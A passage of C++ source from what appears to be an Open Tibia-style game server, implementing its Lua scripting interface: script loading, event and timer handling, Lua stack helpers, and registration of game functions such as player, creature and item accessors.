            files.push_back(s);
    }

    std::sort(files.begin(), files.end());
    for(StringVec::iterator it = files.begin(); it != files.end(); ++it)
    {
        if(!loadFile(dir + (*it), npc))
            return false;
    }

    return true;
}

int32_t LuaScriptInterface::getEvent(const std::string& eventName)
{
    //get our events table
    lua_getfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS");
    if(!lua_istable(m_luaState, -1))
    {
        lua_pop(m_luaState, 1);
        return -1;
    }

    //get current event function pointer
    lua_getglobal(m_luaState, eventName.c_str());
    if(!lua_isfunction(m_luaState, -1))
    {
        lua_pop(m_luaState, 1);
        return -1;
    }

    //save in our events table
    lua_pushnumber(m_luaState, m_runningEventId);
    lua_pushvalue(m_luaState, -2);

    lua_rawset(m_luaState, -4);
    lua_pop(m_luaState, 2);

    //reset global value of this event
    lua_pushnil(m_luaState);
    lua_setglobal(m_luaState, eventName.c_str());

    m_cacheFiles[m_runningEventId] = m_loadingFile + ":" + eventName;
    ++m_runningEventId;
    return m_runningEventId - 1;
}

std::string LuaScriptInterface::getScript(int32_t scriptId)
{
    const static std::string tmp = "(Unknown script file)";
    if(scriptId != EVENT_ID_LOADING)
    {
        ScriptsCache::iterator it = m_cacheFiles.find(scriptId);
        if(it != m_cacheFiles.end())
            return it->second;

        return tmp;
    }

    return m_loadingFile;
}

void LuaScriptInterface::error(const char* function, const std::string& desc)
{
    int32_t script, callback;
    bool timer;
    std::string event;

    LuaScriptInterface* interface;
    getEnv()->getInfo(script, event, interface, callback, timer);
    if(interface)
    {
        std::cout << std::endl << "[Error - " << interface->getName() << "] " << std::endl;
        if(callback)
            std::cout << "In a callback: " << interface->getScript(callback) << std::endl;

        if(timer)
            std::cout << (callback ? "from" : "In") << " a timer event called from: " << std::endl;

        std::cout << interface->getScript(script) << std::endl << "Description: ";
    }
    else
        std::cout << std::endl << "[Lua Error] ";

    std::cout << event << std::endl;
    if(function)
        std::cout << "(" << function << ") ";

    std::cout << desc << std::endl;
}

bool LuaScriptInterface::pushFunction(int32_t function)
{
    lua_getfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS");
    if(lua_istable(m_luaState, -1))
    {
        lua_pushnumber(m_luaState, function);
        lua_rawget(m_luaState, -2);

        lua_remove(m_luaState, -2);
        if(lua_isfunction(m_luaState, -1))
            return true;
    }

    return false;
}

bool LuaScriptInterface::initState()
{
    m_luaState = luaL_newstate();
    if(!m_luaState)
        return false;

    luaL_openlibs(m_luaState);
    registerFunctions();
    if(!loadDirectory(getFilePath(FILE_TYPE_OTHER, "lib/"), NULL))
        std::cout << "[Warning - LuaScriptInterface::initState] Cannot load " << getFilePath(FILE_TYPE_OTHER, "lib/") << std::endl;

    lua_newtable(m_luaState);
    lua_setfield(m_luaState, LUA_REGISTRYINDEX, "EVENTS");

    m_runningEventId = EVENT_ID_USER;
    return true;
}

bool LuaScriptInterface::closeState()
{
    if(!m_luaState)
        return false;

    m_cacheFiles.clear();
    for(LuaTimerEvents::iterator it = m_timerEvents.begin(); it != m_timerEvents.end(); ++it)
    {
        for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt)
            luaL_unref(m_luaState, LUA_REGISTRYINDEX, *lt);

        it->second.parameters.clear();
        luaL_unref(m_luaState, LUA_REGISTRYINDEX, it->second.function);
    }

    m_timerEvents.clear();
    lua_close(m_luaState);
    return true;
}

void LuaScriptInterface::executeTimer(uint32_t eventIndex)
{
    LuaTimerEvents::iterator it = m_timerEvents.find(eventIndex);
    if(it != m_timerEvents.end())
    {
        //push function
        lua_rawgeti(m_luaState, LUA_REGISTRYINDEX, it->second.function);

        //push parameters
        for(std::list<int32_t>::reverse_iterator rt = it->second.parameters.rbegin(); rt != it->second.parameters.rend(); ++rt)
            lua_rawgeti(m_luaState, LUA_REGISTRYINDEX, *rt);

        //call the function
        if(reserveEnv())
        {
            ScriptEnviroment* env = getEnv();
            env->setTimerEvent();
            env->setScriptId(it->second.scriptId, this);

            callFunction(it->second.parameters.size());
            releaseEnv();
        }
        else
            std::cout << "[Error] Call stack overflow. LuaScriptInterface::executeTimer" << std::endl;

        //free resources
        for(std::list<int32_t>::iterator lt = it->second.parameters.begin(); lt != it->second.parameters.end(); ++lt)
            luaL_unref(m_luaState, LUA_REGISTRYINDEX, *lt);

        it->second.parameters.clear();
        luaL_unref(m_luaState, LUA_REGISTRYINDEX, it->second.function);
        m_timerEvents.erase(it);
    }
}

int32_t LuaScriptInterface::handleFunction(lua_State* L)
{
    lua_getfield(L, LUA_GLOBALSINDEX, "debug");
    if(!lua_istable(L, -1))
    {
        lua_pop(L, 1);
        return 1;
    }

    lua_getfield(L, -1, "traceback");
    if(!lua_isfunction(L, -1))
    {
        lua_pop(L, 2);
        return 1;
    }

    lua_pushvalue(L, 1);
    lua_pushinteger(L, 2);

    lua_call(L, 2, 1);
    return 1;
}

bool LuaScriptInterface::callFunction(uint32_t params)
{
    int32_t size = lua_gettop(m_luaState), handler = lua_gettop(m_luaState) - params;
    lua_pushcfunction(m_luaState, handleFunction);

    bool result = false;
    lua_insert(m_luaState, handler);
    if(lua_pcall(m_luaState, params, 1, handler))
        LuaScriptInterface::error(NULL, LuaScriptInterface::popString(m_luaState));
    else
        result = (int32_t)LuaScriptInterface::popBoolean(m_luaState);

    lua_remove(m_luaState, handler);
    if((lua_gettop(m_luaState) + (int32_t)params + 1) != size)
        LuaScriptInterface::error(NULL, "Stack size changed!");

    return result;
}

void LuaScriptInterface::dumpStack(lua_State* L/* = NULL*/)
{
    if(!L)
        L = m_luaState;

    int32_t stack = lua_gettop(L);
    if(!stack)
        return;

    std::cout << "Stack size: " << stack << std::endl;
    for(int32_t i = 1; i <= stack ; ++i)
        std::cout << lua_typename(m_luaState, lua_type(m_luaState, -i)) << " " << lua_topointer(m_luaState, -i) << std::endl;
}

void LuaScriptInterface::pushVariant(lua_State* L, const LuaVariant& var)
{
    lua_newtable(L);
    setField(L, "type", var.type);
    switch(var.type)
    {
        case VARIANT_NUMBER:
            setField(L, "number", var.number);
            break;
        case VARIANT_STRING:
            setField(L, "string", var.text);
            break;
        case VARIANT_TARGETPOSITION:
        case VARIANT_POSITION:
        {
            lua_pushstring(L, "pos");
            pushPosition(L, var.pos);
            pushTable(L);
            break;
        }
        case VARIANT_NONE:
            break;
    }
}

void LuaScriptInterface::pushThing(lua_State* L, Thing* thing, uint32_t id/* = 0*/)
{
    lua_newtable(L);
    if(thing && thing->getItem())
    {
        const Item* item = thing->getItem();
        if(!id)
            id = getEnv()->addThing(thing);

        setField(L, "uid", id);
        setField(L, "itemid", item->getID());
        if(item->hasSubType())
            setField(L, "type", item->getSubType());
        else
            setField(L, "type", 0);

        setField(L, "actionid", item->getActionId());
    }
    else if(thing && thing->getCreature())
    {
        const Creature* creature = thing->getCreature();
        if(!id)
            id = creature->getID();

        setField(L, "uid", id);
        setField(L, "itemid", 1);
        if(creature->getPlayer())
            setField(L, "type", 1);
        else if(creature->getMonster())
            setField(L, "type", 2);
        else
            setField(L, "type", 3);

        if(const Player* player = creature->getPlayer())
            setField(L, "actionid", player->getGUID());
        else
            setField(L, "actionid", 0);
    }
    else
    {
        setField(L, "uid", 0);
        setField(L, "itemid", 0);
        setField(L, "type", 0);
        setField(L, "actionid", 0);
    }
}

void LuaScriptInterface::pushPosition(lua_State* L, const Position& position, uint32_t stackpos)
{
    lua_newtable(L);
    setField(L, "x", position.x);
    setField(L, "y", position.y);
    setField(L, "z", position.z);
    setField(L, "stackpos", stackpos);
}

void LuaScriptInterface::pushOutfit(lua_State* L, const Outfit_t& outfit)
{
    lua_newtable(L);
    setField(L, "lookType", outfit.lookType);
    setField(L, "lookTypeEx", outfit.lookTypeEx);
    setField(L, "lookHead", outfit.lookHead);
    setField(L, "lookBody", outfit.lookBody);
    setField(L, "lookLegs", outfit.lookLegs);
    setField(L, "lookFeet", outfit.lookFeet);
    setField(L, "lookAddons", outfit.lookAddons);
}

void LuaScriptInterface::pushCallback(lua_State* L, int32_t callback)
{
    lua_rawgeti(L, LUA_REGISTRYINDEX, callback);
}

LuaVariant LuaScriptInterface::popVariant(lua_State* L)
{
    LuaVariant var;
    var.type = (LuaVariantType_t)getField(L, "type");
    switch(var.type)
    {
        case VARIANT_NUMBER:
            var.number = getFieldUnsigned(L, "number");
            break;
        case VARIANT_STRING:
            var.text = getField(L, "string");
            break;
        case VARIANT_POSITION:
        case VARIANT_TARGETPOSITION:
        {
            lua_pushstring(L, "pos");
            lua_gettable(L, -2);
            popPosition(L, var.pos);
            break;
        }
        default:
            var.type = VARIANT_NONE;
            break;
    }

    lua_pop(L, 1); //table
    return var;
}

void LuaScriptInterface::popPosition(lua_State* L, PositionEx& position)
{
    if(!lua_isboolean(L, -1))
    {
        position.x = getField(L, "x");
        position.y = getField(L, "y");
        position.z = getField(L, "z");
        position.stackpos = getField(L, "stackpos");
    }
    else
        position = PositionEx();

    lua_pop(L, 1); //table
}

void LuaScriptInterface::popPosition(lua_State* L, Position& position, uint32_t& stackpos)
{
    stackpos = 0;
    if(!lua_isboolean(L, -1))
    {
        position.x = getField(L, "x");
        position.y = getField(L, "y");
        position.z = getField(L, "z");
        stackpos = getField(L, "stackpos");
    }
    else
        position = Position();

    lua_pop(L, 1); //table
}

bool LuaScriptInterface::popBoolean(lua_State* L)
{
    lua_pop(L, 1);
    return lua_toboolean(L, 0);
}

int64_t LuaScriptInterface::popNumber(lua_State* L)
{
    lua_pop(L, 1);
    if(lua_isboolean(L, 0))
        return (int64_t)lua_toboolean(L, 0);

    return (int64_t)lua_tonumber(L, 0);
}

double LuaScriptInterface::popFloatNumber(lua_State* L)
{
    lua_pop(L, 1);
    return lua_tonumber(L, 0);
}

std::string LuaScriptInterface::popString(lua_State* L)
{
    lua_pop(L, 1);
    const char* str = lua_tostring(L, 0);
    if(!str || !strlen(str))
        return std::string();

    return str;
}

int32_t LuaScriptInterface::popCallback(lua_State* L)
{
    return luaL_ref(L, LUA_REGISTRYINDEX);
}

Outfit_t LuaScriptInterface::popOutfit(lua_State* L)
{
    Outfit_t outfit;
    outfit.lookAddons = getField(L, "lookAddons");

    outfit.lookFeet = getField(L, "lookFeet");
    outfit.lookLegs = getField(L, "lookLegs");
    outfit.lookBody = getField(L, "lookBody");
    outfit.lookHead = getField(L, "lookHead");

    outfit.lookTypeEx = getField(L, "lookTypeEx");
    outfit.lookType = getField(L, "lookType");

    lua_pop(L, 1); //table
    return outfit;
}

void LuaScriptInterface::setField(lua_State* L, const char* index, int32_t val)
{
    lua_pushstring(L, index);
    lua_pushnumber(L, val);
    pushTable(L);
}

void LuaScriptInterface::setField(lua_State* L, const char* index, const std::string& val)
{
    lua_pushstring(L, index);
    lua_pushstring(L, val.c_str());
    pushTable(L);
}

void LuaScriptInterface::setFieldBool(lua_State* L, const char* index, bool val)
{
    lua_pushstring(L, index);
    lua_pushboolean(L, val);
    pushTable(L);
}

void LuaScriptInterface::setFieldFloat(lua_State* L, const char* index, double val)
{
    lua_pushstring(L, index);
    lua_pushnumber(L, val);
    pushTable(L);
}

void LuaScriptInterface::createTable(lua_State* L, const char* index)
{
    lua_pushstring(L, index);
    lua_newtable(L);
}

void LuaScriptInterface::createTable(lua_State* L, const char* index, int32_t narr, int32_t nrec)
{
    lua_pushstring(L, index);
    lua_createtable(L, narr, nrec);
}

void LuaScriptInterface::createTable(lua_State* L, int32_t index)
{
    lua_pushnumber(L, index);
    lua_newtable(L);
}

void LuaScriptInterface::createTable(lua_State* L, int32_t index, int32_t narr, int32_t nrec)
{
    lua_pushnumber(L, index);
    lua_createtable(L, narr, nrec);
}

void LuaScriptInterface::pushTable(lua_State* L)
{
    lua_settable(L, -3);
}

int64_t LuaScriptInterface::getField(lua_State* L, const char* key)
{
    lua_pushstring(L, key);
    lua_gettable(L, -2); // get table[key]

    int64_t result = (int64_t)lua_tonumber(L, -1);
    lua_pop(L, 1); // remove number and key
    return result;
}

uint64_t LuaScriptInterface::getFieldUnsigned(lua_State* L, const char* key)
{
    lua_pushstring(L, key);
    lua_gettable(L, -2); // get table[key]

    uint64_t result = (uint64_t)lua_tonumber(L, -1);
    lua_pop(L, 1); // remove number and key
    return result;
}

bool LuaScriptInterface::getFieldBool(lua_State* L, const char* key)
{
    lua_pushstring(L, key);
    lua_gettable(L, -2); // get table[key]

    bool result = lua_toboolean(L, -1);
    lua_pop(L, 1); // remove number and key
    return result;
}

std::string LuaScriptInterface::getFieldString(lua_State* L, const char* key)
{
    lua_pushstring(L, key);
    lua_gettable(L, -2); // get table[key]

    std::string result = lua_tostring(L, -1);
    lua_pop(L, 1); // remove number and key
    return result;
}

std::string LuaScriptInterface::getGlobalString(lua_State* L, const std::string& _identifier, const std::string& _default/* = ""*/)
{
    lua_getglobal(L, _identifier.c_str());
    if(!lua_isstring(L, -1))
    {
        lua_pop(L, 1);
        return _default;
    }

    int32_t len = (int32_t)lua_strlen(L, -1);
    std::string ret(lua_tostring(L, -1), len);

    lua_pop(L, 1);
    return ret;
}

bool LuaScriptInterface::getGlobalBool(lua_State* L, const std::string& _identifier, bool _default/* = false*/)
{
    lua_getglobal(L, _identifier.c_str());
    if(!lua_isboolean(L, -1))
    {
        lua_pop(L, 1);
        return booleanString(LuaScriptInterface::getGlobalString(L, _identifier, _default ? "yes" : "no"));
    }

    bool val = lua_toboolean(L, -1);
    lua_pop(L, 1);
    return val;
}

int32_t LuaScriptInterface::getGlobalNumber(lua_State* L, const std::string& _identifier, const int32_t _default/* = 0*/)
{
    return (int32_t)LuaScriptInterface::getGlobalDouble(L, _identifier, _default);
}

double LuaScriptInterface::getGlobalDouble(lua_State* L, const std::string& _identifier, const double _default/* = 0*/)
{
    lua_getglobal(L, _identifier.c_str());
    if(!lua_isnumber(L, -1))
    {
        lua_pop(L, 1);
        return _default;
    }

    double val = lua_tonumber(L, -1);
    lua_pop(L, 1);
    return val;
}

void LuaScriptInterface::getValue(const std::string& key, lua_State* L, lua_State* _L)
{
    lua_getglobal(L, key.c_str());
    moveValue(L, _L);
}

void LuaScriptInterface::moveValue(lua_State* from, lua_State* to)
{
    switch(lua_type(from, -1))
    {
        case LUA_TNIL:
            lua_pushnil(to);
            break;
        case LUA_TBOOLEAN:
            lua_pushboolean(to, lua_toboolean(from, -1));
            break;
        case LUA_TNUMBER:
            lua_pushnumber(to, lua_tonumber(from, -1));
            break;
        case LUA_TSTRING:
        {
            size_t len;
            const char* str = lua_tolstring(from, -1, &len);

            lua_pushlstring(to, str, len);
            break;
        }
        case LUA_TTABLE:
        {
            lua_newtable(to);
            lua_pushnil(from); // First key
            while(lua_next(from, -2))
            {
                // Move value to the other state
                moveValue(from, to); // Value is popped, key is left
                // Move key to the other state
                lua_pushvalue(from, -1); // Make a copy of the key to use for the next iteration
                moveValue(from, to); // Key is in other state.
                // We still have the key in the 'from' state ontop of the stack

                lua_insert(to, -2); // Move key above value
                pushTable(to); // Set the key
            }

            break;
        }
        default:
            break;
    }

    lua_pop(from, 1); // Pop the value we just read
}

void LuaScriptInterface::registerFunctions()
{
//example(...)
    //lua_register(L, "name", C_function);
    
    //doSendPlayerExtendedOpcode(cid, opcode, buffer)
    lua_register(m_luaState, "doSendPlayerExtendedOpcode", LuaScriptInterface::luaDoSendPlayerExtendedOpcode);
    //getCreatureHealth(cid)
    lua_register(m_luaState, "getCreatureHealth", LuaScriptInterface::luaGetCreatureHealth);
    
    //openChannelDialog(cid)
    lua_register(m_luaState, "openChannelDialog", LuaScriptInterface::luaOpenChannelDialog);

    //getCreatureMaxHealth(cid)
    lua_register(m_luaState, "getCreatureMaxHealth", LuaScriptInterface::luaGetCreatureMaxHealth);

    //getCreatureMana(cid)
    lua_register(m_luaState, "getCreatureMana", LuaScriptInterface::luaGetCreatureMana);

    //getCreatureMaxMana(cid)
    lua_register(m_luaState, "getCreatureMaxMana", LuaScriptInterface::luaGetCreatureMaxMana);

    //getCreatureHideHealth(cid)
    lua_register(m_luaState, "getCreatureHideHealth", LuaScriptInterface::luaGetCreatureHideHealth);

    //doCreatureSetHideHealth(cid, hide)
    lua_register(m_luaState, "doCreatureSetHideHealth", LuaScriptInterface::luaDoCreatureSetHideHealth);

    //getCreatureSpeakType(cid)
    lua_register(m_luaState, "getCreatureSpeakType", LuaScriptInterface::luaGetCreatureSpeakType);

    //doCreatureSetSpeakType(cid, type)
    lua_register(m_luaState, "doCreatureSetSpeakType", LuaScriptInterface::luaDoCreatureSetSpeakType);

    //getCreatureLookDirection(cid)
    lua_register(m_luaState, "getCreatureLookDirection", LuaScriptInterface::luaGetCreatureLookDirection);

    //getPlayerLevel(cid)
    lua_register(m_luaState, "getPlayerLevel", LuaScriptInterface::luaGetPlayerLevel);

    //getPlayerExperience(cid)
    lua_register(m_luaState, "getPlayerExperience", LuaScriptInterface::luaGetPlayerExperience);

    //getPlayerMagLevel(cid[, ignoreBuffs = false])
    lua_register(m_luaState, "getPlayerMagLevel", LuaScriptInterface::luaGetPlayerMagLevel);

    //getPlayerSpentMana(cid)
    lua_register(m_luaState, "getPlayerSpentMana", LuaScriptInterface::luaGetPlayerSpentMana);

    //getPlayerFood(cid)
    lua_register(m_luaState, "getPlayerFood", LuaScriptInterface::luaGetPlayerFood);

    //getPlayerAccess(cid)
    lua_register(m_luaState, "getPlayerAccess", LuaScriptInterface::luaGetPlayerAccess);

    //getPlayerGhostAccess(cid)
    lua_register(m_luaState, "getPlayerGhostAccess", LuaScriptInterface::luaGetPlayerGhostAccess);

    //getPlayerSkillLevel(cid, skillid)
    lua_register(m_luaState, "getPlayerSkillLevel", LuaScriptInterface::luaGetPlayerSkillLevel);

    //getPlayerSkillTries(cid, skillid)
    lua_register(m_luaState, "getPlayerSkillTries", LuaScriptInterface::luaGetPlayerSkillTries);

    //getPlayerTown(cid)
    lua_register(m_luaState, "getPlayerTown", LuaScriptInterface::luaGetPlayerTown);

    //getPlayerVocation(cid)
    lua_register(m_luaState, "getPlayerVocation", LuaScriptInterface::luaGetPlayerVocation);

    //getPlayerIp(cid)
    lua_register(m_luaState, "getPlayerIp", LuaScriptInterface::luaGetPlayerIp);

    //getPlayerRequiredMana(cid, magicLevel)
    lua_register(m_luaState, "getPlayerRequiredMana", LuaScriptInterface::luaGetPlayerRequiredMana);

    //getPlayerRequiredSkillTries(cid, skillId, skillLevel)
    lua_register(m_luaState, "getPlayerRequiredSkillTries", LuaScriptInterface::luaGetPlayerRequiredSkillTries);

    //getPlayerItemCount(cid, itemid[, subType = -1])
    lua_register(m_luaState, "getPlayerItemCount", LuaScriptInterface::luaGetPlayerItemCount);

    //getPlayerMoney(cid)
    lua_register(m_luaState, "getPlayerMoney", LuaScriptInterface::luaGetPlayerMoney);

    //getPlayerSoul(cid)
    lua_register(m_luaState, "getPlayerSoul", LuaScriptInterface::luaGetPlayerSoul);

    //getPlayerFreeCap(cid)
    lua_register(m_luaState, "getPlayerFreeCap", LuaScriptInterface::luaGetPlayerFreeCap);

    //getPlayerLight(cid)
    lua_register(m_luaState, "getPlayerLight", LuaScriptInterface::luaGetPlayerLight);

    //getPlayerSlotItem(cid, slot)
    lua_register(m_luaState, "getPlayerSlotItem", LuaScriptInterface::luaGetPlayerSlotItem);

    //getPlayerWeapon(cid[, ignoreAmmo = false])
    lua_register(m_luaState, "getPlayerWeapon", LuaScriptInterface::luaGetPlayerWeapon);

    //getPlayerItemById(cid, deepSearch, itemId[, subType = -1])
    lua_register(m_luaState, "getPlayerItemById", LuaScriptInterface::luaGetPlayerItemById);

    //getPlayerDepotItems(cid, depotid)
    lua_register(m_luaState, "getPlayerDepotItems", LuaScriptInterface::luaGetPlayerDepotItems);

    //getPlayerGuildId(cid)
    lua_register(m_luaState, "getPlayerGuildId", LuaScriptInterface::luaGetPlayerGuildId);

    //getPlayerGuildName(cid)
    lua_register(m_luaState, "getPlayerGuildName", LuaScriptInterface::luaGetPlayerGuildName);

    //getPlayerGuildRankId(cid)
    lua_register(m_luaState, "getPlayerGuildRankId", LuaScriptInterface::luaGetPlayerGuildRankId);

    //getPlayerGuildRank(cid)
    lua_register(m_luaState, "getPlayerGuildRank", LuaScriptInterface::luaGetPlayerGuildRank);

    //getPlayerGuildNick(cid)
    lua_register(m_luaState, "getPlayerGuildNick", LuaScriptInterface::luaGetPlayerGuildNick);

    //getPlayerGuildLevel(cid)
    lua_register(m_luaState, "getPlayerGuildLevel", LuaScriptInterface::luaGetPlayerGuildLevel);

    //getPlayerGUID(cid)
    lua_register(m_luaState, "getPlayerGUID", LuaScriptInterface::luaGetPlayerGUID);

    //getPlayerNameDescription(cid)
    lua_register(m_luaState, "getPlayerNameDescription", LuaScriptInterface::luaGetPlayerNameDescription);

    //doPlayerSetNameDescription(cid, desc)
    lua_register(m_luaState, "doPlayerSetNameDescription", LuaScriptInterface::luaDoPlayerSetNameDescription);
    
    //getPlayerSpecialDescription(cid)
    lua_register(m_luaState, "getPlayerSpecialDescription", LuaScriptInterface::luaGetPlayerSpecialDescription);
    
    //doPlayerSetSpecialDescription(cid, desc)
    lua_register(m_luaState, "doPlayerSetSpecialDescription", LuaScriptInterface::luaDoPlayerSetSpecialDescription);

    //getPlayerAccountId(cid)
    lua_register(m_luaState, "getPlayerAccountId", LuaScriptInterface::luaGetPlayerAccountId);

    //getPlayerAccount(cid)
    lua_register(m_luaState, "getPlayerAccount", LuaScriptInterface::luaGetPlayerAccount);

    //getPlayerFlagValue(cid, flag)
    lua_register(m_luaState, "getPlayerFlagValue", LuaScriptInterface::luaGetPlayerFlagValue);

    //getPlayerCustomFlagValue(cid, flag)
    lua_register(m_luaState, "getPlayerCustomFlagValue", LuaScriptInterface::luaGetPlayerCustomFlagValue);

    //getPlayerPromotionLevel(cid)
    lua_register(m_luaState, "getPlayerPromotionLevel", LuaScriptInterface::luaGetPlayerPromotionLevel);

    //doPlayerSetPromotionLevel(cid, level)
    lua_register(m_luaState, "doPlayerSetPromotionLevel", LuaScriptInterface::luaDoPlayerSetPromotionLevel);

    //getPlayerGroupId(cid)
    lua_register(m_luaState, "getPlayerGroupId", LuaScriptInterface::luaGetPlayerGroupId);

    //doPlayerSetGroupId(cid, newGroupId)
    lua_register(m_luaState, "doPlayerSetGroupId", LuaScriptInterface::luaDoPlayerSetGroupId);

    //doPlayerSendOutfitWindow(cid)
    lua_register(m_luaState, "doPlayerSendOutfitWindow", LuaScriptInterface::luaDoPlayerSendOutfitWindow);

    //doPlayerLearnInstantSpell(cid, name)
    lua_register(m_luaState, "doPlayerLearnInstantSpell", LuaScriptInterface::luaDoPlayerLearnInstantSpell);

    //doPlayerUnlearnInstantSpell(cid, name)
    lua_register(m_luaState, "doPlayerUnlearnInstantSpell", LuaScriptInterface::luaDoPlayerUnlearnInstantSpell);

    //getPlayerLearnedInstantSpell(cid, name)
    lua_register(m_luaState, "getPlayerLearnedInstantSpell", LuaScriptInterface::luaGetPlayerLearnedInstantSpell);

    //getPlayerInstantSpellCount(cid)
    lua_register(m_luaState, "getPlayerInstantSpellCount", LuaScriptInterface::luaGetPlayerInstantSpellCount);

    //getPlayerInstantSpellInfo(cid, index)
    lua_register(m_luaState, "getPlayerInstantSpellInfo", LuaScriptInterface::luaGetPlayerInstantSpellInfo);

    //getInstantSpellInfo(cid, name)
    lua_register(m_luaState, "getInstantSpellInfo", LuaScriptInterface::luaGetInstantSpellInfo);

    //getCreatureStorage(uid, key)
    lua_register(m_luaState, "getCreatureStorage", LuaScriptInterface::luaGetCreatureStorage);

    //doCreatureSetStorage(uid, key, value)
    lua_register(m_luaState, "doCreatureSetStorage", LuaScriptInterface::luaDoCreatureSetStorage);

    //getStorage(key)
    lua_register(m_luaState, "getStorage", LuaScriptInterface::luaGetStorage);

    //doSetStorage(key, value)
    lua_register(m_luaState, "doSetStorage", LuaScriptInterface::luaDoSetStorage);

    //getChannelUsers(channelId)
    lua_register(m_luaState, "getChannelUsers", LuaScriptInterface::luaGetChannelUsers);

    //doPlayerOpenChannel(cid, channelId)
    lua_register(m_luaState, "doPlayerOpenChannel", LuaScriptInterface::luaDoPlayerOpenChannel);
    
    //getPlayersOnline()
    lua_register(m_luaState, "getPlayersOnline", LuaScriptInterface::luaGetPlayersOnline);

    //getTileInfo(pos)
    lua_register(m_luaState, "getTileInfo", LuaScriptInterface::luaGetTileInfo);

    //getThingFromPos(pos[, displayError = true])
    lua_register(m_luaState, "getThingFromPos", LuaScriptInterface::luaGetThingFromPos);

    //getThing(uid)
    lua_register(m_luaState, "getThing", LuaScriptInterface::luaGetThing);

    //doTileQueryAdd(uid, pos[, flags[, displayError = true]])
    lua_register(m_luaState, "doTileQueryAdd", LuaScriptInterface::luaDoTileQueryAdd);

    //doItemRaidUnref(uid)
    lua_register(m_luaState, "doItemRaidUnref", LuaScriptInterface::luaDoItemRaidUnref);

    //getThingPosition(uid)
    lua_register(m_luaState, "getThingPosition", LuaScriptInterface::luaGetThingPosition);

    //getTileItemById(pos, itemId[, subType = -1])
    lua_register(m_luaState, "getTileItemById", LuaScriptInterface::luaGetTileItemById);

    //getTileItemByType(pos, type)
    lua_register(m_luaState, "getTileItemByType", LuaScriptInterface::luaGetTileItemByType);

    //getTileThingByPos(pos)
    lua_register(m_luaState, "getTileThingByPos", LuaScriptInterface::luaGetTileThingByPos);

    //getTopCreature(pos)
    lua_register(m_luaState, "getTopCreature", LuaScriptInterface::luaGetTopCreature);

    //doRemoveItem(uid[, count])
    lua_register(m_luaState, "doRemoveItem", LuaScriptInterface::luaDoRemoveItem);

    //doPlayerFeed(cid, food)
    lua_register(m_luaState, "doPlayerFeed", LuaScriptInterface::luaDoFeedPlayer);

    //doPlayerSendCancel(cid, text)
    lua_register(m_luaState, "doPlayerSendCancel", LuaScriptInterface::luaDoPlayerSendCancel);

    //doCreatureSetNick(cid, nick)
    lua_register(m_luaState, "doCreatureSetNick", LuaScriptInterface::luaDoCreatureSetNick);
    
    //doPlayerSendDefaultCancel(cid, ReturnValue)
    lua_register(m_luaState, "doPlayerSendDefaultCancel", LuaScriptInterface::luaDoSendDefaultCancel);

    //getSearchString(fromPosition, toPosition[, fromIsCreature = false[, toIsCreature = false]])
    lua_register(m_luaState, "getSearchString", LuaScriptInterface::luaGetSearchString);

    //getClosestFreeTile(cid, targetpos[, extended = false[, ignoreHouse = true]])
    lua_register(m_luaState, "getClosestFreeTile", LuaScriptInterface::luaGetClosestFreeTile);

    //doTeleportThing(cid, newpos[, pushmove])
    lua_register(m_luaState, "doTeleportThing", LuaScriptInterface::luaDoTeleportThing);

    //doTransformItem(uid, newId[, count/subType])
    lua_register(m_luaState, "doTransformItem", LuaScriptInterface::luaDoTransformItem);

    //doCreatureSay(uid, text[, type = SPEAK_SAY[, ghost = false[, cid = 0[, pos]]]])
    lua_register(m_luaState, "doCreatureSay", LuaScriptInterface::luaDoCreatureSay);

    //doSendMagicEffect(pos, type[, player])
    lua_register(m_luaState, "doSendMagicEffect", LuaScriptInterface::luaDoSendMagicEffect);

    //doSendDistanceShoot(fromPos, toPos, type[, player])
    lua_register(m_luaState, "doSendDistanceShoot", LuaScriptInterface::luaDoSendDistanceShoot);

    //doSendAnimatedText(pos, text, color[, player])
    lua_register(m_luaState, "doSendAnimatedText", LuaScriptInterface::luaDoSendAnimatedText);

    //doPlayerAddSkillTry(cid, skillid, n[, useMultiplier])
    lua_register(m_luaState, "doPlayerAddSkillTry", LuaScriptInterface::luaDoPlayerAddSkillTry);

    //doCreatureAddHealth(cid, health[, hitEffect[, hitColor[, force]]])
    lua_register(m_luaState, "doCreatureAddHealth", LuaScriptInterface::luaDoCreatureAddHealth);

    //doCreatureAddMana(cid, mana)
    lua_register(m_luaState, "doCreatureAddMana", LuaScriptInterface::luaDoCreatureAddMana);

    //setCreatureMaxHealth(cid, health)
    lua_register(m_luaState, "setCreatureMaxHealth", LuaScriptInterface::luaSetCreatureMaxHealth);

    //setCreatureMaxMana(cid, mana)
    lua_register(m_luaState, "setCreatureMaxMana", LuaScriptInterface::luaSetCreatureMaxMana);

    //doPlayerSetMaxCapacity(cid, cap)
    lua_register(m_luaState, "doPlayerSetMaxCapacity", LuaScriptInterface::luaDoPlayerSetMaxCapacity);

    //doPlayerAddSpentMana(cid, amount[, useMultiplier])
    lua_register(m_luaState, "doPlayerAddSpentMana", LuaScriptInterface::luaDoPlayerAddSpentMana);

    //doPlayerAddSoul(cid, soul)
    lua_register(m_luaState, "doPlayerAddSoul", LuaScriptInterface::luaDoPlayerAddSoul);

    //doPlayerAddItem(cid, itemid[, count/subtype[, canDropOnMap]])
    //doPlayerAddItem(cid, itemid[, count[, canDropOnMap[, subtype]]])
    //Returns uid of the created item
    lua_register(m_luaState, "doPlayerAddItem", LuaScriptInterface::luaDoPlayerAddItem);

    //doPlayerAddItemEx(cid, uid[, canDropOnMap = FALSE])
    lua_register(m_luaState, "doPlayerAddItemEx", LuaScriptInterface::luaDoPlayerAddItemEx);

    //doPlayerSendTextMessage(cid, MessageClasses, message)
    lua_register(m_luaState, "doPlayerSendTextMessage", LuaScriptInterface::luaDoPlayerSendTextMessage);

    //doPlayerSendChannelMessage(cid, author, message, SpeakClasses, channel)
    lua_register(m_luaState, "doPlayerSendChannelMessage", LuaScriptInterface::luaDoPlayerSendChannelMessage);

    //doPlayerSendToChannel(cid, targetId, SpeakClasses, message, channel[, time])
    lua_register(m_luaState, "doPlayerSendToChannel", LuaScriptInterface::luaDoPlayerSendToChannel);

    //doPlayerAddMoney(cid, money)
    lua_register(m_luaState, "doPlayerAddMoney", LuaScriptInterface::luaDoPlayerAddMoney);

    //doPlayerRemoveMoney(cid, money)
    lua_register(m_luaState, "doPlayerRemoveMoney", LuaScriptInterface::luaDoPlayerRemoveMoney);

    //doPlayerTransferMoneyTo(cid, target, money)
